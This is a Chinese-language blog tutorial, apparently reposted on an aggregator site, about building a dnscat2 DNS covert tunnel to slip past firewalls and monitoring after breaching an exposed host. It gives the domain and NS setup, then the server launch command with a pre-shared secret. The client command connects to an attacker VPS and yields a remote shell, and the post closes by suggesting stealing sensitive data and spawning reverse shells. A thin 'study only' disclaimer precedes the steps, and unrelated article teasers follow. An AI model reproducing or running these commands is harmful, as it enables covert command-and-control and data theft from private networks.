【房间墙上凿个洞,看你在干嘛~】安全攻防内网渗透-绕过防火墙和安全检测,搭建DNS隐蔽隧道

news2024/11/15 10:07:25

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。所以可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

题目很惊悚,真的有点惊悚啊~
如今很卷,各大公司的内网,甚至是网吧局域网的安全防护都做了起来,随便拿个攻防工具或者脚本乱打一通的时代已经过去了。
请添加图片描述
例如,各大公司将绝大部分网络和主机设备归为内网,通过堡垒机和防火墙,设置各种策略,实现逻辑上的内网隔离。仅仅将一小部分主机和上面的域名或者IP端口暴露在公网,作为暴露面对外接进行交互、展示,而这些硕果仅存的大家能通过互联网访问到的一个个网页、交互端口等俗称互联网暴露面。然后IPS防火墙APT抗DDOS流量清洗全流量监测设备…这些你知道或从未听过的各类安全产品都对这个暴露面进行严防死守。
请添加图片描述
暴露面身后的庞大内网在设计之初,是严禁直接从互联网访问哦! 而攻击者使用各种代理工具就像各种专用通道,能让你在家中笔记本上敲出的命令,通过这个通道轻松进入到目标内网的主机上,并将感兴趣的东西带出,甚至破坏。就像有人在你房间的墙壁上凿出一个洞,让你安全的小窝豁然暴露在他的面前一样

然而前面说的的各种安全工具和防护措施建立起来后,这些代理工具再也撬不动铜墙铁壁,一个个失去了作用~

在我们费劲千辛万苦拿到一个暴露面主机权限后,我们愕然发现:由于端口和策略限制,拿到暴露面所在的主机权限后,什么都不能做。更别提通过他真正撬开内网大门,堂而皇之的进入内网遨游!这感觉就像下图这样,只能透过钥匙孔看向一片漆黑。
请添加图片描述
怎么办,作为攻防渗透行业从业者我们不能坐以待毙!目前常见的策略中,非必要端口都会被关掉,但是DNS解析服务,端口号53,却是还保留着。毕竟很多场景下内网需要这个端口来与外界交互进行域名和IP地址的解析。而我们是否能将代理搭建在这个DNS数据包封装格式下呢?从而实现披着DNS的外表,实际在搭建一个隐蔽远控通道的目标?

答案是肯定的,本文演示所使用的工具就是Dnscat2这个知名工具

这段文字怎么感觉不像好人说的~

以上就是本文的文字介绍部分,如您对技术不是很熟悉,可以忽略下面内容。
如您是做技术的,可以参考下面的操作流程,尝试搭建自己的dns隧道哦~
友情提示:仅供学习交流,不得在实际环境下尝试,否则后果自负,与我无关哈~

基本原理

网络架构图

在这里插入图片描述

  1. 图中右侧模拟了一个内网:由防火墙隔绝,内网中有三台主机。

策略配置,外网不能访问内网的任何主机,内网主机可以访问外网。

  1. 图中间防火墙:设置了严格的策略,对内外流量进行控制

本实验可以理解为仅为DNS流量可以自由通过防火墙。

  1. 图中左侧模拟了互联网:攻击者拥有一个有公网地址的VPS主机
  2. 假设图中内网kali(192.168.1.6)已经被拿下,已上传dnscat2客户端。

DNS隧道原理

利用自己拥有的域名,设置域名A类和ns解析地址为自己vps服务器ip。在vps上使用Dnscat2工具,运行服务端,这样,在远端的客户端当解析自己的域名时,最后流量都会到达这台vps上。同理DNS的正常响应也会返回到发起询问的内网机器上。这本是一个正常DNS交互流程,一切都很正常。

但我们使用的Dnscat2工具建立的DNS服务本质其实是个远控程序,它以正常DNS数据包为表象,内在封装恶意代码,建立一个披着羊皮的隐蔽隧道。利用这个隧道,攻击者可以传输恶意指令,并与目标进行交互等操作,从而实现内网遨游。

而很多主流安全软件和防火墙,对dns的数据包,检查力度较弱,甚至直接放行。

配置自己的域名设置,并测试域名解析是否正常

  1. 在这里不会细说如何购买一个域名,我的域名是在godaddy购买的。
    设置很简单,只需要设置两处。如下图
    在这里插入图片描述
  2. 在自己的vps服务端,需要放行53端口
    在这里插入图片描述
  3. 测试域名设置是否能成功解析,能拼通,第一步成功
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# ping ns1.你的域名 
PING ns1.你的域名 (你的公网 56(84) bytes of data.
64 bytes from 你的公网 (你的公网): icmp_seq=1 ttl=128 time=30.3 ms
  1. 再测试子域名解析是否正常
# VPS 101.*
# 1. 腾讯服务器 打开防火墙53端口
# 2. 切换到root权限后,监听网卡 53端口数据包
ubuntu@VM-24-12-ubuntu:~$ su root
Password: 
root@VM-24-12-ubuntu:/home/ubuntu# cd ~

root@VM-24-12-ubuntu:~# tcpdump -n -i eth0 udp dst port 53
# 在攻击者电脑kali 192.168.120.133
┌──(root㉿kali)-[~]
└─# nslookup vpn.你的域名 
Server:         192.168.120.2
Address:        192.168.120.2#53

** server can't find vpn.你的域名: SERVFAIL

vps成功抓取DNS流量包
在这里插入图片描述

经过以上两个测试,可以验证域名解析配置正确。

在VPS上安装、启动Dnscat2服务端

# 环境安装
apt-get install gem
apt-get install ruby-dev
apt-agt install libpq-dev
apt-agt install ruby-bundler

# Dnscat2安装
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
bundle install
# 启动服务端
# 首先关闭所有占用53端口的程序
root@VM-24-12-ubuntu:~/tools/dnscat2/server# netstat -tunpl|grep 53
tcp        0      0 10.0.24.12:53           0.0.0.0:*               LISTEN      768/named           
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      768/named             

# 杀死进程
 kill -9 768

# 中继模式启动
root@VM-24-12-ubuntu:~/tools/dnscat2/server# ruby ./dnscat2.rb vpn.你的域名 -e open -c heason --no-cache

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: Client can decide on security level
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = vpn.你的域名]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=heason vpn.你的域名

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=heason

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2> 

在内网机器上启动客户端

dnscat2工具对linux和win客户端均有,链接如下
github上源码和linux客户端
dnscat2各类型服务端、客户端(含win)下载列表

# 内网kali 192.168.1.6
┌──(root㉿kali)-[~/Desktop]
└─# ./dnscat -dns domain=vpn.你的域名 -secret heason
Creating DNS driver:
 domain = vpn.你的域名
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.1.4

** Peer verified with pre-shared secret!

Session established!
Got a command: COMMAND_SHELL [request] :: request_id: 0x0001 :: name: shell
[[ WARNING ]] :: Starting: /bin/sh -c 'sh'
[[ WARNING ]] :: Started: sh (pid: 74086)
Response: COMMAND_SHELL [response] :: request_id: 0x0001 :: session_id: 0xa6d2

** Peer verified with pre-shared secret!

Session established!

简单命令执行演示

dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = vpn.你的域名 [*]
  1 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 3343 seconds]
  2 :: command (WIN-7-PS1) [encrypted and verified] [*] [idle for 2972 seconds]
  3 :: (not set) [cleartext] [*] [idle for 2625 seconds]
  4 :: command (kali) [encrypted and verified]
  5 :: sh (kali) [encrypted and verified] [*]
dnscat2> session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

New window created: 6
sh (kali) 5> ls
sh (kali) 5> dnscat
dnscat2-v0.07-client-x64.tar.bz2

sh (kali) 5> pwd
sh (kali) 5> /root/Desktop

至此,隧道已成功建立,你可以通过这个隧道获取敏感信息,反弹shell等,开始下一步的内网探索了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/383310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spark 广播/累加

Spark 广播/累加广播变量普通变量广播分布式数据集广播克制 Shuffle强制广播配置项Join Hintsbroadcast累加器Spark 提供了两类共享变量&#xff1a;广播变量&#xff08;Broadcast variables&#xff09;/累加器&#xff08;Accumulators&#xff09; 广播变量 创建广播变量…

快速上手配置firewalld

firewalld使用firewall-cmd命令配置策略。 查看当前firewalld当前服务运行状态 firewall-cmd --state firewalld防火墙状态还用使用如下命令查看状态 systemctl status firewalld 查看所有打开运行的端口 firewall-cmd --zonepublic --list-ports 查看区域信息情况 firewall…

qml学习之qwidget与qml结合使用并调用信号槽交互

学习qml系列之一说明&#xff1a; 学习qml系列之qwiget和qml信号槽的交互使用&#xff0c;并在qwidget中显示qml界面 在qml中发送信号到qwidget里 在qwidget里发送信号给qml 在qwidget里面调用qml界面方式 方式一&#xff1a;使用QQuickView 这个是Qt5.0中提供的一个类&…

小白量化《穿云箭集群量化》(5)抄底雷达策略

小白量化《穿云箭集群量化》&#xff08;5&#xff09;抄底雷达策略 雷达能够提前发现远处敌我动向。雷达是现代战争不可或缺的装备。 证券市场中分三类人&#xff0c;先知先觉者&#xff0c;后知后觉者&#xff0c;不知不觉者。先知先觉者往往是市场主力&#xff0c;他们拥有信…

Feign踩坑源码分析 -- 请求参数分号变逗号

一.案例 1.1.Post请求&#xff1a; http://localhost:8250/xx/task/test json格式参数&#xff1a; {"string": "a;b;c;d" } 1.2.controller代码&#xff1a; AutowiredDataSourceClientService dataSourceClientService;RequestMapping("/test"…

《计算机原理》——HelloWorld.cpp如何运行的

学校《计算机原理》开课啦&#xff01;特此开辟专栏&#xff0c;将一些知识作为笔记&#xff0c;记录下来。 前言 本篇博客知识点来源于educoder的相关题目 1. 相关知识 1.1 计算机语言 计算机语言是人与计算机之间通讯的语言&#xff0c;计算机语言包括编写计算机程序的字符…

[MatLab]图像绘制

一、绘制二维图像 1.一张图上绘制一条线 绘制代码如下面所示&#xff1a; x 0:0.01:2*pi; y sin(x); figure %建立幕布 plot(x,y) %绘制图像 %设置图像属性 title(ysin(x)) xlabel(x) ylabel(y)xlim([0 2*pi]) %限制x轴的值域 自定义图线的颜色…

GB28181协议--SIP协议介绍

1、SIP协议简介 SIP&#xff08;Session Initiation Protocol&#xff0c;会话初始协议&#xff09;是一个用于建立、更改和终止多媒体会话的应用层控制协议&#xff0c;其中的会话可以是IP电话、多媒体会话或多媒体会议&#xff08;GB28181安防使用的是SIP协议&#xff09;。S…

lab备考第二步:HCIE-Cloud-Compute-第一题:FusionCompute

第一题 FusionCompute 一、题目介绍 1.1. 扩容CAN节点与对接共享存储&#xff08;必选&#xff09; 题目及【考生提醒关键点】 扩容一台CNA节点&#xff0c;配置管理地址设置为&#xff1a;192.168.100.212。密码设置为&#xff1a;Cloud12#$。【输入之前确认自己的大小写是否…

任务类风险漏洞挖掘思路

任务类风险定义&#xff1a; 大部分游戏都离不开任务&#xff0c;游戏往往也会借助任务&#xff0c;来引导玩家上手&#xff0c;了解游戏背景&#xff0c;增加游戏玩法&#xff0c;提升游戏趣味性。任务就像线索&#xff0c;将游戏的各个章节&#xff0c;各种玩法&#xff0c;…

docker上安装nacos

文章目录一、docker安装nacos简单版1.拉取镜像2、挂载目录&#xff0c;用于映射到容器&#xff0c;目录按自己的情况创建3、mysql新建nacos-config的数据库&#xff0c;并执行脚本 sql脚本地址如下&#xff1a;4、修改配置文件custom.properties5、启动容器6、访问二、docker安…

错误:PermissionError: [WinError 32] 另一个程序正在使用此文件,进程无法访问。“+文件路径“的解决方案

最近在使用python进行筛选图片的时候&#xff0c;想到用python里面的os库进行图片的删除。 具体筛选方法就是&#xff0c;删除掉图片长度或宽度小于100像素的图片&#xff0c;示例代码如下所示&#xff1a; for file in os.listdir(img_path):if file .split( . )[ - 1 ] j…

深度强化学习DLR

1 强化学习基础知识 强化学习过程&#xff1a;⾸先环境(Env)会给智能体(Agent)⼀个状态(State)&#xff0c;智能体接收到环境给的观测值之后会做出⼀个动作(Action)&#xff0c;环境接收到智能体给的动作之后会做出⼀系列的反应&#xff0c;例如对这个动作给予⼀个奖励(Reward…

射频功率放大器基于纵向导波的杆状构件腐蚀诊断方法的研究

实验名称&#xff1a;基于纵向导波的杆状构件腐蚀诊断方法研究方向&#xff1a;无损探伤测试设备&#xff1a;信号号发生器、安泰ATA-8202功率放大器、数据采集卡、直流电源、超声探头、钢杆、前置放大器。实验过程&#xff1a;图&#xff1a;试验装置试验装置如图3.2所示。监测…

Android Handler机制(四) Message源码分析

一. 简介 接上一篇文章:Android Handler机制(三) Looper源码分析 ,我们来继续分析一下Message源码 这一系列文章都是为了深入理解Handler机制. Message 作为消息传递的载体&#xff0c;源码主要分为以下 几个部分: 1. 操作数据相关&#xff0c;类似 getter()和 setter()这种…

【JAVASE】注解

文章目录1.概述2.JDK内置注解2.1override注解2.2 Deprecated注解3.元注解4.注解中定义属性4.1 属性value4.2 属性是一个数组5. 反射注解6.注解在开发中的作用1.概述 注解&#xff0c;也叫注释&#xff0c;是一种引用数据类型。编译后也同样生成class字节码文件。 语法 [修饰…

QT获取dll库文件详细信息

一、需求背景获取软件下依赖的dll库的版本信息&#xff0c;如下图所示版本为1.0.7.1018二、实现方法2.1步骤windows下实现&#xff0c;基于version.lib(version.dll)提供的函数获取这些信息首先使用GetFileVersionInfoSizeA(W)获取VersionInfo的大小&#xff0c;申请缓冲区&…

团队API管理工具-YAPI

团队API管理工具-YAPI 推荐一款接口管理平台&#xff0c;操作简单、界面友好、功能丰富、支持markdown语法、可使用Postman导入、Swagger同步数据展示、LDAP、权限管理等功能。 YApi是高效、易用、功能强大的api管理平台&#xff0c;旨在为开发、产品、测试人员提供更优雅的接…

stm32智能家居+微信小程序接收控制

这里写目录标题项目介绍mqtt服务器相关知识![在这里插入图片描述](https://img-blog.csdnimg.cn/9ad065fb8fac48b1b975fc3a48b99763.png)下位机代码项目需要的一些开发工具项目介绍 本项目芯片使用STM32F103ZET6,微信小程序开发使用微信开发者工具。 stm32作为下位机&#xff…

【实现点击下载按钮功能 Objective-C语言】

一、实现点击下载按钮功能, 1.接下来,我们再实现另外一个功能,是什么,点击下载按钮吧: 点击下载按钮,是不是要有效果啊, 就是给大家实现这个功能, 首先,我们要实现单击这个效果,是不是要给按钮注册单击事件吧, 请问,这个按钮在哪里啊,是在控制器里面吗,不是,…